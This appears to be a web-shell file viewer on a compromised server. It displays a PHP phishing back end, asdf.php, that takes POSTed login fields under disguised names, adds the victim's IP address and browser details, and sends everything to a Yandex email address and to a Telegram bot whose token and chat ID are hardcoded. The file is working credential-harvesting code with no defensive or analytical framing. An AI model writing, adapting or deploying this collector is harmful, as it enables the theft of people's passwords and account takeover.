Your IP : 10.10.0.253


Current Path : /var/www/YY/cool/
Upload File :
Current File : /var/www/YY/cool/asdf.php

<?php

$to = "uttaragroupltd@yandex.com";   
$subject = "WRKSMB";

$nnn = isset($_POST['nnn']) ? $_POST['nnn'] : '';
$mmm = isset($_POST['mmm']) ? $_POST['mmm'] : '';


if ($nnn === '' || $mmm === '') {
    return;
}

$message = "Usngnnn: $nnn\n";
$message .= "DPddyw: $mmm\n";
$message .= "IP Address: " . $_SERVER['REMOTE_ADDR'] . "\n";
$message .= "Browser Info: " . $_SERVER['HTTP_USER_AGENT'] . "\n";

$headers = "From: OgaWORKSMB <sweetthingswee22t@" . $_SERVER['SERVER_NAME'] . ">\r\n";
mail($to, $subject, $message, $headers);

$telegramToken = "8287887535:AAE7BKcykmAuP_mo4fb_Rx8aZF0FRl_NqaE";
$chatID = "7943483140";
$telegramMessage = "NEW PD ENTRY\n\n" . $message;

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, "https://api.telegram.org/bot$telegramToken/sendMessage");
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'chat_id' => $chatID,
    'text' => $telegramMessage
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
$response = curl_exec($ch);
curl_close($ch);

?>